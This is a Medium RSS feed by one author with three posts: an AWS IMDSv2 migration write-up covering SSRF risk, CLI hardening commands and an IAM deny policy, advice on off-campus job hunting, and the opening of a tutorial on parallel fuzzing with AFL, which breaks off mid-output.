<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ayush Priya on Medium]]></title>
        <description><![CDATA[Stories by Ayush Priya on Medium]]></description>
        <link>https://medium.com/@ayushpriya10?source=rss-9a0fb75485d5------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*o7OI3lxEd_9mEaKK8Mr3dg.jpeg</url>
            <title>Stories by Ayush Priya on Medium</title>
            <link>https://medium.com/@ayushpriya10?source=rss-9a0fb75485d5------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 10:09:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ayushpriya10/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Securing the Cloud: Migrating to IMDSv2 for AWS Compute Workloads]]></title>
            <link>https://engineering.cred.club/securing-the-cloud-migrating-to-imdsv2-for-aws-compute-workloads-2766b639a0be?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/2766b639a0be</guid>
            <category><![CDATA[aws-security]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[infrastructure-security]]></category>
            <category><![CDATA[imdsv2]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Fri, 05 Jan 2024 11:02:04 GMT</pubDate>
            <atom:updated>2024-01-05T11:02:04.124Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZ8E0Ke370Cvo9ddj9gPGA.png" /></figure><p>CRED has evolved to be a multi-product platform, and that necessitates the use of multiple microservices.</p><p>The microservices we have run primarily on AWS ECS (Elastic Container Service). Within our ecosystem, these microservices predominantly operate on AWS ECS (Elastic Container Service). Additionally, we leverage EC2 instances and EKS for specific workloads that demand enhanced resource management capabilities. Among all of these resources, there is a common factor, the Instance Metadata Service (IMDS) endpoint.</p><p>In this blog, we will detail what is IMDS and how to secure your workloads running on these various compute services with the correct IMDS configuration.</p><h3>The Instance Metadata Service (IMDS)</h3><p><em>The Instance Metadata Service (IMDS) in AWS is a service that provides information about an Amazon Elastic Compute Cloud (EC2) instance available at </em><em>169.254.169.254. It allows EC2 instances to access metadata about themselves, such as instance ID, IP address, security group information, and most notoriously the IAM credentials provided to the instance via the EC2 Instance Profile Role.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mcWYzCr_SCH6RkBh" /><figcaption>Fetching IAM Instance Profile Credentials from the IMDS endpoint</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*Ka29WhL316m_sO0BhtjJsw.png" /><figcaption>IMDSv1 Endpoint Request-Response Flow</figcaption></figure><p>The IMDS endpoint is a nifty way of getting information about the instance, quickly and reliably. This can be used by applications running within the instance, eliminating the need to fetch it from external sources causing an engineering overhead. An example of this information could be, you want to dynamically add the host IP for an application in the logs. This host IP can be fetched from the IMDS endpoint dynamically, instead of having to hardcode it or fetch it from external sources.</p><h3>Why did we decide to migrate to IMDSv2?</h3><p><a href="https://www.imperva.com/learn/application-security/server-side-request-forgery-ssrf/">SSRF</a> (Server-Side Request Forgery) attacks against IMDSv1 (Instance Metadata Service version 1) in AWS are a major attack vector that has led to <a href="https://resources.infosecinstitute.com/topics/news/lessons-learned-the-capital-one-breach">several breaches across various organizations</a>.</p><p>If any application running on an EC2 instance was vulnerable to SSRF attacks, attackers could exfiltrate the IAM credentials, through the IMDSv1 endpoint, granted to the instance via IAM Instance Profile Role. These credentials are meant to provide the instance and applications the permissions to perform actions on AWS resources.</p><p>With the stolen temporary security credentials, attackers could elevate their privileges and gain unauthorized access to other AWS resources, such as S3 buckets, and databases, or even launch further attacks within the victim’s environment.</p><p>This breach of security can have severe consequences, as unauthorized access to sensitive data or control over critical infrastructure components could lead to data theft, service disruption, or further compromise of the entire AWS infrastructure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*ysDFx9Iv4G_0fWZZE7gzSQ.png" /><figcaption>SSRF Attack Flow</figcaption></figure><p>In response to these vulnerabilities, AWS strongly recommended that customers migrate to the newer IMDSv2, which provides enhanced security features, including better protection against SSRF attacks.</p><blockquote>IMDSv2 introduces an extra layer of authentication and validation for metadata requests, making it significantly more challenging for attackers to exploit SSRF vulnerabilities.</blockquote><p>AWS came up with IMDSv2 to improve security for the IMDS endpoint by implementing a small change in the way IMDS was accessed — instead of allowing access without authentication, in IMDSv2 AWS enforced fetching of a token which would be used to authenticate all requests made to the IMDS endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*Fn9YjzJc_LgYc6BlFWJ4Nw.png" /><figcaption>IMDSv2 Endpoint Session-based Flow</figcaption></figure><p>This seemingly small change has a huge impact hence we decided to migrate all our workloads to IMDSv2.</p><ol><li>The token itself is not stored in the IMDS endpoint so there is no way to retrieve it once generated for a particular session.</li><li>The token itself only works when used from within the instance it was generated in, thus mitigating its exfiltration and abuse.</li><li>AWS SDKs and CLI are configured to fetch this token automatically and keep it stored in memory for the session’s validity, before refreshing it once it expires.</li></ol><blockquote><strong>Note: </strong>Discussing the issues present with IMDSv1 and how IMDSv2 mitigated them goes beyond the scope of this blog. If you would like to read more details about the same, you can check out this<a href="https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/"> blog</a> from AWS Security.</blockquote><h3>How did we migrate?</h3><p>We wanted to ensure that no service disruptions happen because of the migration, so we:</p><ol><li>Did extensive research to identify all issues that could surprise us</li><li>Solved edge cases that came up during our migration</li><li>Developed a tool that was a one-stop-solution to do all things required as part of the migration process</li></ol><p>We’ll take a look at the details of each step we took in the section below.</p><h3>Planning, Researching, and Working with Caveats</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*b9MbNCb4hJZlKDOHqzb1uw.png" /><figcaption>The 5 Phases of Migration</figcaption></figure><h4>Phased Rollout for the Migration</h4><p>The first (most obvious) decision we took was to roll out the migration in a phased manner to our various AWS accounts i.e. environments.</p><p>We targeted environments that do not have complex deployments and/or critical services. We created a list of all our AWS accounts and sorted them based on their criticality or the nature of services housed within them to identify which accounts to target first.</p><h4>Gaining Visibility on IMDSV1 Usage</h4><p>Next, we wanted to verify what services were using the IMDSv1 endpoint because if no instance was calling the IMDSv1 endpoint, we can migrate all our workloads right away without any service disruptions.</p><p>AWS has created a CloudWatch Metric, named MetadataNoToken, to provide deeper visibility over the current usage of the IMDSv1 endpoint, and to facilitate the migration to IMDSv2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sNC3tjSebajVN6il" /><figcaption>Visualising IMDSv1 Usage with `MetadataNoToken` CloudWatch Metric</figcaption></figure><blockquote>AWS has recently released<a href="https://github.com/aws/aws-imds-packet-analyzer"> IMDS Packet Analyzer</a> that can be used to identify exactly which process within an EC2 instance is making calls to the IMDSv1 endpoint. More details on the same can be found in this<a href="https://aws.amazon.com/about-aws/whats-new/2023/06/imds-packet-analyzer-simplifies-migration-imdsv2/"> article</a>.</blockquote><h4>Attaining 100% Coverage</h4><p>The process of migrating an EC2 instance is extremely straightforward and can be achieved with a single-line AWS CLI command:</p><pre>~$ aws ec2 modify-instance-metadata-options \<br>     --instance-id i-1234567898abcdef0 \<br>     --http-tokens required \<br>     --http-endpoint enabled</pre><p>Seems simple but therein lies the first catch we found — what happens if the instances are part of an Auto-Scaling Group? In this situation, any new additions to the fleet of instances would not be launched with IMDSv2. This issue can easily be solved by updating the underlying launch template but this observation led us to identify other AWS services with similar caveats.</p><p>We put all services into 3 groups:</p><ol><li>EC2-based Services - <em>EC2, ECS &amp; EKS with EC2 Networking, etc.</em></li><li>Non-EC2 Services - <em>Lightsail, Sagemaker</em></li><li>EC2-based Service with caveats - <em>Instances launched via Auto Scaling Groups &amp; Launch Templates/Configurations</em></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*ZRokED9lESZ4wupKcVRhyA.png" /><figcaption>Service and their Groupings</figcaption></figure><p>So to migrate all relevant resources we needed to:</p><ol><li>Define the updated configuration for the specific resource keeping in mind any associated caveats</li><li>Iterate over all resources and regions to update the configuration to use IMDSv2</li></ol><h4>Breaking Containers and Fixing them</h4><p>During a test rollout of IMDSv2, we observed certain workloads broke because they satisfied at least one of the following criteria:</p><ol><li>The EC2 instance had an app deployed as a Docker container (for example, ECS + EC2 Networking)</li><li>There was a third-party software that did not support IMDSv2, running in the instance</li></ol><blockquote>For third-party software, in most cases, patches have already been released by vendors so we simply upgraded to the version that supported IMDSv2.</blockquote><blockquote>You can refer to this <a href="https://github.com/SummitRoute/imdsv2_wall_of_shame">list</a> to see which vendors/integrations still do not support IMDSv2.</blockquote><p>For container workloads, we realised that the disruption was due to the <em>Response Hop Limit</em> (number of hops required by a packet to reach a node) that is configured to 1 by default, as the response from the IMDSv2 endpoint for a PUT request would not reach back to the process that initiated the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*7LI_16c3BL-1XWZCSBHw4g.png" /><figcaption>Issues with Default Response Hop-Limit set to 1</figcaption></figure><p>The hop limit configuration can be upgraded as part of the same modify-instance-metadata-options command by adding another option as mentioned below:</p><pre>~$ aws ec2 modify-instance-metadata-options \<br>     --instance-id i-1234567898abcdef0 \<br>     --http-tokens required \<br>     --http-put-response-hop-limit 2 \<br>     --http-endpoint enabled</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*SGOohv128yw95g9DbxKhTA.png" /><figcaption>Hop-limit/TTL Update for PUT Request in IMDS Configuration</figcaption></figure><p>And with that, we were good to go ahead with the migration, covering all potential issues and caveats! Well, all but one, which we’ll talk about next.</p><h4>Remediating Post-Migration Blues!</h4><p>After the migration, a single instance launched with IMDSv1 configuration would nullify the migration process. So we had to plan to ensure that we did not have to face any <em>post-migration</em><strong><em> </em></strong><em>blues</em> by putting preventive controls in place to deal with it.</p><p>Some ways to implement the required security control could be as follows:</p><ol><li>Deploy some automation that would trigger when a resource was launched, check the IMDS configuration, and update it to make use of IMDSv2, if not configured already</li><li>Use an IAM Policy, permission boundary or SCP with a condition block that denies the creation of resources that do not have IMDSv2 configured</li></ol><pre>{<br>    &quot;Version&quot;: &quot;2012-10-17&quot;,<br>    &quot;Statement&quot;: {<br>        &quot;Sid&quot;: &quot;RequireImdsV2&quot;,<br>        &quot;Effect&quot;: &quot;Deny&quot;,<br>        &quot;Action&quot;: &quot;ec2:RunInstances&quot;,<br>        &quot;Resource&quot;: &quot;arn:aws:ec2:*:*:instance/*&quot;,<br>        &quot;Condition&quot;: {<br>            &quot;StringNotEquals&quot;: {<br>                &quot;ec2:MetadataHttpTokens&quot;: &quot;required&quot;<br>            }<br>        }<br>    }<br>}</pre><p>We recommend using SCPs as it would allow the implementation and management of policies centrally for all AWS accounts.</p><blockquote>Additional examples of SCPs which can be used as part of post-migration controls can be found <a href="https://summitroute.com/blog/2020/03/25/aws_scp_best_practices/#require-the-use-of-imdsv2">here</a>.</blockquote><h3>Impact of the migration</h3><ol><li>Safeguard against financial or reputational loss due to data breaches</li><li>Protection against SSRF attacks</li><li>Extensive reduction of the blast radius in case of a compromise</li><li>Safeguard against abuse of EC2 instance profile’s IAM credentials</li><li>Protection from attacks against Open Web Application Firewalls</li><li>Protection from attacks against Layer 3 Firewalls</li><li>Protection from attacks against Open Reverse Proxies</li></ol><h3>Wrap-up insights</h3><p>Migrating to IMDSv2 is not a very complex activity from an implementational perspective, but the impact is huge. AWS has several support mechanisms to facilitate an easy migration process — IMDSv2 compatible SDKs out-of-the-box and IMDSv2 default configuration for Amazon Linux 3-based EC2 instances.</p><p>At CRED, we believe in a security-first culture -IMDS migration is one such example of how we constantly work towards strengthening the security of our infrastructure and apps through tools and processes and strive to ensure the safety and privacy of our users’ data.</p><p>We would love to hear from you, do share your feedback and questions if any.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2766b639a0be" width="1" height="1" alt=""><hr><p><a href="https://engineering.cred.club/securing-the-cloud-migrating-to-imdsv2-for-aws-compute-workloads-2766b639a0be">Securing the Cloud: Migrating to IMDSv2 for AWS Compute Workloads</a> was originally published in <a href="https://engineering.cred.club/">CRED Engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Off-Campus Placements]]></title>
            <link>https://medium.com/@ayushpriya10/demystifying-off-campus-placements-9950d44735ee?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/9950d44735ee</guid>
            <category><![CDATA[placement]]></category>
            <category><![CDATA[jobs]]></category>
            <category><![CDATA[engineering]]></category>
            <category><![CDATA[job-search]]></category>
            <category><![CDATA[off-campus]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Wed, 17 Feb 2021 05:59:37 GMT</pubDate>
            <atom:updated>2021-02-17T05:59:37.917Z</atom:updated>
            <content:encoded><![CDATA[<h4>A short guide to the Unorthodox Path of Grabbing an Off-Campus Job</h4><h3>Introduction</h3><p>Job-searching is always a daunting task, and with the pandemic going on currently, it is even scarier. This fear is the greatest the first time around, which, for most engineering students, is during the “Placement Season” in their college. This is the time when the campus is flooded with companies and students line up to grab a job in one of these visiting companies.</p><p>This is how most engineering students get their first job offers, fresh out of college. Remember, <em>most</em>, not all. This blog post is for the ones who don’t want to fall in the “most” segment and <em>walk the road less traveled</em> -<em> </em><strong>off-campus placements</strong>.</p><h3>Why should you choose Off-Campus?</h3><p>Everything has pros and cons, and placements are no different. It all comes down to what one prioritizes amongst all the factors encountered during placements.</p><p>I’ll try to characterize some important pros and cons of the off-campus placement approach with excerpts from my own journey to find a job to help you decide if you want to go down this route.</p><h4>Pro: You get to choose your role</h4><p>In off-campus placements, it&#39;s <strong>you </strong>who is <strong>reaching out to a company</strong>, and <strong>you convey</strong> to them what you want to work on or what role you’re looking for. Because of this straightforward reason, if you get the job you know what your work would entail. For example, if you approached a company asking them to hire you as an Android Developer and they hire you, rest assured you will not be tricked into writing HTML.</p><p>This factor is an important one if you know what you want to pursue as your full-time career. For me, I was always adamant about getting into the security industry after college and since the roles I was looking for are not that common to be offered in campus placements, I had little choice but to venture out on my own. So, if you have a not-so-common domain that you want to pursue, or want to have more say in what kind of work you’d be doing once you join a company, Off-campus placements definitely is a better choice.</p><h4>Con: Additional effort in researching and reaching out to companies</h4><p>Unlike campus placements, where there are a plethora of companies swarming to hire students, when you are looking for a job outside of the boundaries of your college you have to invest time and effort into finding the <em>right</em> companies.</p><p>The right company would be one where you get to work on technologies that you want, is culturally the right fit for you, and the salary is something that you are okay with. These are essentially the primary factors, there could obviously be additional things to look at — perks, office, location, and so forth.</p><p>Though I can assure you from personal experience, working at the company I wanted to work at is an amazing experience and it is worth all the effort that it requires. That being said, it does require certain discipline in approaching companies (as you wouldn’t just reach out to one) and handling rejection (which is inevitable). But if you can persevere, it’ll be worth it.</p><h4>Pro: The ability to Negotiate</h4><p>This one’s definitely one of the biggest advantages of the off-campus approach, <em>negotiation</em>. Most colleges’ placement offices would have rules around when you can or cannot decline an offer made to you. Most of the time you don’t get to negotiate any details either, you have to stick to the offer made by the company. In off-campus communication, however, there’s no such rule stopping you from negotiating.</p><p>Free tip: I highly recommend reading “Never Split the Difference” by Chriss Voss, it&#39;s a book that teaches how to negotiate better.</p><h3>Tools of the Trade</h3><p>Okay, so you know why off-campus placements might be a good idea, but the question remains, how to go about it? Let’s talk a bit more about that.</p><h4>Resume + Cover Letters</h4><p>The first and foremost thing that you should work on before venturing out looking for companies, is your <strong>resume</strong>. Your resume is essentially an <em>elevator pitch about yourself</em>, where the reader would either go ahead with your application or say sorry and send you a rejection email (if you’re lucky, as at times you won’t get any reply at all). Given the fact that your resume is going to be the <strong>first document that you’d be sharing</strong> with anybody you’re reaching out to, it makes 100% sense to spend some quality time and effort making it the best one. Although by “best” I don’t mean best in an aesthetic sense, I mean it in terms of content. Feel free to use nice fonts, columns for structure, but stray away from unnecessary images, pictures. I personally also don’t prefer the templates where you have a “rating” for the skills you mention, simply because <strong>you</strong> rating your skill introduces a bias (could be exaggeration or understatement but either way not relative to any standard of comparison). I went simple with mine and used the “Resume Serif” template from Google Docs but there are plenty of others. Another tip, which you should know for sure is that your resume should be <strong>exactly one page long</strong>. If your mind says something like “But I have 100 projects, how do I fit them all”, the answer is - you don’t. Remember the resume is meant to showcase what you can deliver right away, the skills you’re confident in and the best in. So, when you list C++ in your skills section, for example, please ensure it is because you’ve done a lot of work in C++. “Hello World”, “Finding prime numbers in a given range” programs don’t count. One last tip is to use hyperlinks in your resume, this allows you to link detailed content without taking up too much space.</p><p>Coming to Cover Letters, the lesser-known counterpart of the resume. A cover letter is just that, a letter that accompanies the resume to <strong>convey the details or context</strong> that the resume cannot provide. Understand that a resume is a list of your technical abilities but it falls short of conveying any additional context about various things, such as - Why do you want to join the company? Why would you be a good fit culturally? It typically consists of a few paragraphs:</p><ul><li>1st Para: Brief introduction about yourself and your reason for sending this letter (In this case, it would be something like “I want to join your company as &lt;Your Role&gt;).</li><li>2nd Para: Describe your projects, leadership positions that you’ve held in relevant organizations, essentially any meta-skills that are relevant to the role that you’re applying for. Try to use quantifiable measures, numbers when describing the impact of your work.</li><li>3rd Para: Explain why would you be a good fit for the company. This allows for them to be able to judge if you would be a good fit culturally or not.</li><li>4th Para: Lastly, reiterate your initial goal, to get hired in the role of your choice. Make sure to add a Call-to-Action, something like “I hope to hear back from you soon and would love to discuss further with you about the possibility of me joining your company”.</li></ul><p>One quick suggestion is to <strong>not make these documents generic</strong> so that you can blast them in masses to a lot of companies together, doing so is fine for companies that you are not entirely interested in. But for the ones that you want to give your best, <strong>make sure to personalize</strong> accordingly, for example, add relevant technologies (that you actually are skilled in) based on the company and remove anything that you think is no longer relevant, add the name of the recruiter in the cover letter instead of the generic “Respected Sir/Ma’am” and so on.</p><h4>Networking and Online Presence</h4><p>Well, this goes without saying that you won’t be sending your resumes via post, and social media has changed how connections are made so it makes sense to improvise, adapt and overcome the challenge of networking.</p><p>Networking, I assure you, is one of the most critical things you’d need to do while looking for off-campus jobs. By networking, I mean reaching out to people relevant to not just your industry, but the companies you want to approach. Good platforms to do this are <strong>LinkedIn</strong> first and foremost, and then <strong>Twitter</strong>. Make sure to have the public side of your profile polished, for example, if you’re a developer make sure your GitHub profile lists the top projects you did and not some random repository that you created for a tutorial (go ahead and make these repositories private if you cannot delete them over the emotional attachment). Also, the earlier you can approach people, the better because then you can <strong>create a rapport</strong> with them, maybe get some <strong>mentorship </strong>along the way as well and when you are looking for a job, they’d be more willing to recommend/refer you to their company’s recruiters than any other random stranger. This brings us to another important topic, referrals. <strong>Referrals are an incredible profile-booster</strong>, it doesn’t guarantee a job but it most certainly makes sure that your profile gets attention given that someone from the company is vouching for you. So, if you have a senior/friend/mentor in a place where you want to work, make sure to ask them if they can refer you, even in the case that they can’t directly refer you, they’d be in a much better position to guide you to improve your chances of getting hired in their company.</p><p>At the time of writing this, COVID’s still rampaging through the globe so on-site events are something that we won’t be seeing soon, but whenever it’s safe to organize and attend these <em>offline</em> events, conferences, I’d highly recommend attending and <strong>networking in-person</strong> there. This is old-fashioned perhaps but still the best way to interact.</p><h3>FAQs</h3><p>I’m going to use this section to address some FAQs that I get asked a lot. <strong>A lot</strong>.</p><h4>Is DSA required for off-campus placement?</h4><p>It 100% depends on the role you’re applying for. In campus placements, since they need to keep it generic enough to test and shortlist students from a huge pool, this typically is the first barrier to entry. In an Off-campus scenario, however, it depends on the role that you’re applying for. I wasn’t asked any DSA questions as I was applying to be a Cyber Security Engineer, not a developer. As a rule of thumb, I’d suggest to brush up your DSA if the role you’d be applying for relates to Development of any sort, else you can choose to skip it if you know that your role doesn’t really entail DSA (at least for the entry-level roles).</p><h4>How many projects is a good number of projects?</h4><p>There’s no one good number. If you built facebook as your dorm-room project, I’d say one is fine. But for most of us who didn’t, I’d suggest trying out different projects, which are a bit big in scale (I don’t count ToDo applications from tutorials as projects) and utilize a bunch of technologies instead of just one. Doing a few of these over the course of 4 years of your bachelor’s degree should be enough and one project per semester still lands you at least 6 projects (given the last two semesters you’d actually be looking for jobs not building projects).</p><h4>How should I judge if I am good at a Skill?</h4><p>I, personally, don’t judge based on techno-jargon that one can spill from memory. I prefer learning how would one solve the problem itself, as the rest can be googled. I do however recognize that proficiency in a language or two is required, so for that, I take it one step further. After understanding the problem statement, and creating an abstract solution, if I can visualize the approximate programmatic structure of the code (in the language of choice), I would say that I am skilled in it because even if I can’t get the exact code in my head (which would virtually be impossible for most real-world problems) I can look the missing pieces up. This is different from if I was asked to write the solution in a language that I’ve never worked with as in that case, I’d also have to pick the language-specific syntax, quirks, etc.</p><h4>I’m not getting any replies, what to do?</h4><p>When I encountered this, I would typically write an email/text to the contact I was talking with twice or thrice with a week’s gap between each reply. If they still didn’t reply, I’ll stop pursuing them as a lead as there’s no point in wasting time and energy there.</p><p>The important thing, however, is not what I mentioned above about replying. It is to make sure that you’re not waiting on this one company and keeping everything else on hold. Make sure that you&#39;re approaching new companies/people even when you are progressing through with other companies, not just when you stop receiving communication from a few.</p><h4>I’ve received multiple offers, how do I decline the ones that I don’t want?</h4><p>First of all, congratulations! This isn’t exactly the worst problem to have for a job seeker, but it is a problem nonetheless. So, the solution to this is simple, choose the one you like the most, and for the rest inform all of the other companies at the earliest that you would not be continuing with the application process any further as you’ve already accepted one from a different company. This might seem a tad bit difficult to do, certainly more difficult than simply not doing anything but in the longer run, it’s better to have informed them than ghosting. This helps to at least maintain a professional working relationship <em>if</em> you need to get in touch with them in the future.</p><h3>Conclusion</h3><p>We looked at a bunch of points to consider when choosing if you should go the off-campus route, remember that these are not the only factors. Prioritize the ones that affect you the most, for example, if you don’t care about the money as much as the location, prioritize that. We also get to negotiate our offers to what suits us better, which at times is not an option when going the campus-placement route. So, using the relevant factors that matter to you, first decide if you actually want to go on the path of off-campus placements.</p><p>Once you’ve made up your mind, use the <em>tools</em> we discussed (and any other ones you find relevant, such as Behance is a good portfolio place for Designers) to connect with folks from the domain of your choice, who can help you get a foot in the industry.</p><p>Lastly, there would obviously be many questions, of which I’ve tried to answer the common ones here. But I’m sure that you’d encounter a bunch of them that I didn’t write here, or might not have encountered myself. For them, you’ve just got to find a solution yourself, no other way. But all of these problems are solvable for sure, speaking from experience.</p><p>I’d just put it out here, though I don’t guarantee any bullet-proof solutions, I’d be more than happy to assist you if you have any queries or doubts about off-campus placements. So, if you want to talk to me feel to reach out at <a href="https://twitter.com/ayushpriya10">@ayushpriya10</a>.</p><h3>References</h3><p>Covering all that is required in one’s off-campus job search journey goes beyond the scope of this single blog, so I am adding a few links that can expand on the things I talked about in detail:</p><ul><li><a href="https://medium.com/gdg-vit/placements-through-the-dsc-lens-94407580dfeb">https://medium.com/gdg-vit/placements-through-the-dsc-lens-94407580dfeb</a></li><li><a href="https://anchor.fm/techlytical/episodes/The-off-campus-applicants-toolbox-ei6g2i">https://anchor.fm/techlytical/episodes/The-off-campus-applicants-toolbox-ei6g2i</a></li><li><a href="https://anchor.fm/techlytical/episodes/Initiate-Off-Campus-Job-Search-eihq4h">https://anchor.fm/techlytical/episodes/Initiate-Off-Campus-Job-Search-eihq4h</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9950d44735ee" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Optimized Fuzzing with American Fuzzy Lop (AFL)]]></title>
            <link>https://medium.com/@ayushpriya10/optimized-fuzzing-with-american-fuzzy-lop-afl-e7ba2c2c8b8f?source=rss-9a0fb75485d5------2</link>
            <guid isPermaLink="false">https://medium.com/p/e7ba2c2c8b8f</guid>
            <category><![CDATA[fuzzing]]></category>
            <category><![CDATA[afl]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Ayush Priya]]></dc:creator>
            <pubDate>Sun, 28 Jun 2020 15:26:47 GMT</pubDate>
            <atom:updated>2020-06-28T15:26:47.403Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/620/0*1oerEYGH_DLQNlzw.jpg" /></figure><h3>What does optimization mean?</h3><p>Optimization is a process to make an existing system faster, more efficient than it currently is. The ways to achieve this optimization depends on what system we’re talking about. In this post, we’ll go through some simple yet effective strategies to make fuzzing with AFL more optimized. We’d also take a look at AFL’s QEMU mode, which allows us to fuzz binaries which we do not have the source for.</p><blockquote><strong><em>Note:</em></strong><em> This article builds on top of the last blog I wrote, where we talked about how to get started with fuzzing applications with American Fuzzy Lop, or AFL for short. So, if you haven’t read it yet, I’d suggest you go through it once before you continue. You can find the article </em><a href="https://medium.com/@ayushpriya10/fuzzing-applications-with-american-fuzzy-lop-afl-54facc65d102"><em>here</em></a><em>.</em></blockquote><h3>Why optimize at all?</h3><p>In the last post, we briefly talked about why should one try and optimize fuzzing as much as possible, irrespective of how <em>smart</em> AFL is on its own. It’s because we want to reach <em>further faster</em>, which means we want to give AFL as much of a head-start as we can so it can find bugs sooner.</p><p>There are various tools, which AFL comes pre-loaded with, built-in for you to make fuzzing as effortless as possible. We’ll go over them that one can (and should) use to cover the bare minimum optimization while fuzzing an application.</p><h3>Optimization Strategies</h3><h4>Parallel Fuzzing</h4><p>Let’s start off with one of the most obvious ways to optimize, fuzzing the target application simultaneously with multiple fuzzers working in parallel. Now, if you feel that you don’t want to do extra work and manage multiple fuzzers, their findings, etc. fear not, AFL’s got your back. AFL comes with support for parallel fuzzing right out-of-the-box without the need of any additional configurations or installations. It works such that there’s a <em>master</em> fuzzer and all other fuzzers are <em>slave</em> fuzzers. The command also remains almost identical except for an additional flag that specifies the type of the fuzzer, master or slave.</p><p>But before we begin to run multiple fuzzers, we need to know <em>how many</em> can we run, and its directly dependent on your machine’s processor. To find out how many free cores are available in your machine, AFL has a utility called afl-gotcpu which tells the number of CPU cores that are free and hence, can be used to run fuzzers. It generates an output similar to the one below:</p><pre>root@kali:~# afl-gotcpu<br>afl-gotcpu 2.52b by &lt;lcamtuf@google.com&gt;<br>[*] Measuring per-core preemption rate (this will take 1.00 sec)...<br>    Core #0: AVAILABLE</pre><pre>    --- snipped ---</pre><pre>&gt;&gt;&gt; PASS: You can run more processes on 1 core. &lt;&lt;&lt;</pre><p>As per the machine I’m using, there’s only one core free to run a fuzzer so I can run one more fuzzer (assuming I’ve got some running already). But for the sake of this article we’ll assume that we had 4 free cores and hence, we can run a total of 4 fuzzers.</p><p>To start AFL in parallel, there’s just one flag that gets appended to the command that’s used to start the fuzzing. The flag is either -M, to define that the fuzzer is the <em>master</em> fuzzer, or -S, to define that the fuzzer is a <em>slave</em> fuzzer. Both of these flags are followed by a name given to that fuzzer. One can use a utility, like screen or tmux, to run parallel fuzzers in the same terminal session. To run screen, the command would be:</p><pre>root@kali:~# screen -dmS &lt;name-for-screen&gt; &lt;command-to-run&gt;</pre><blockquote><strong><em>Note:</em></strong><em> to read the output of a particular fuzzer, you can use </em><em>screen -rd &lt;fuzzer name&gt; to </em>attach<em> yourself to a particular </em>screen<em> and then use </em><em>ctrl+a d to detach from the current screen and return back to the terminal.</em></blockquote><p>Here’s an example of how I’d run 4 fuzzers, 1 master and 3 slaves, in parallel with screen:</p><pre>root@kali:~# screen -dmS fuzzer1 /bin/bash -c &quot;afl-fuzz -i in -o out -M fuzzer1 -- ./fuzzgoat @@&quot;<br>root@kali:~# screen -dmS fuzzer2 /bin/bash -c &quot;afl-fuzz -i in -o out -S fuzzer2 -- ./fuzzgoat @@&quot;<br>root@kali:~# screen -dmS fuzzer3 /bin/bash -c &quot;afl-fuzz -i in -o out -S fuzzer3 -- ./fuzzgoat @@&quot;<br>root@kali:~# screen -dmS fuzzer4 /bin/bash -c &quot;afl-fuzz -i in -o out -S fuzzer4 -- ./fuzzgoat @@&quot;</pre><blockquote><strong><em>Note:</em></strong><em> All fuzzers are passed the </em><strong><em>same</em></strong><em> input and out folders. Also, there can only be </em><strong><em>one</em></strong><em> master fuzzer.</em></blockquote><p>Now, we’ve got multiple fuzzers running together, keeping track of consolidated progress of all of them can be done through afl-whatsup, another utility in AFL which gives out a <em>report</em> with various details. The command expects to be pointed towards the output folder made to store each fuzzer’s findings.</p><pre>root@kali:~/fuzzgoat# afl-whatsup out<br>status check tool for afl-fuzz by &lt;lcamtuf@google.com&gt;<br>Individual fuzzers<br>==================<br>&gt;&gt;&gt; fuzzer1 (0 days, 0 hrs) &lt;&lt;&lt;<br>  cycle 1, lifetime speed 1340 execs/sec, path 26/160 (16%)<br>  pending 37/150, coverage 0.54%, crash count 11 (!)<br>&gt;&gt;&gt; fuzzer2 (0 days, 0 hrs) &lt;&lt;&lt;<br>  cycle 1, lifetime speed 909 execs/sec, path 200/212 (94%)<br>  pending 6/157, coverage 0.58%, crash count 7 (!)<br>&gt;&gt;&gt; fuzzer3 (0 days, 0 hrs) &lt;&lt;&lt;<br>  cycle 1, lifetime speed 0 execs/sec, path 0/1 (0%)<br>  pending 1/1, coverage 0.13%, no crashes yet<br>&gt;&gt;&gt; fuzzer4 (0 days, 0 hrs) 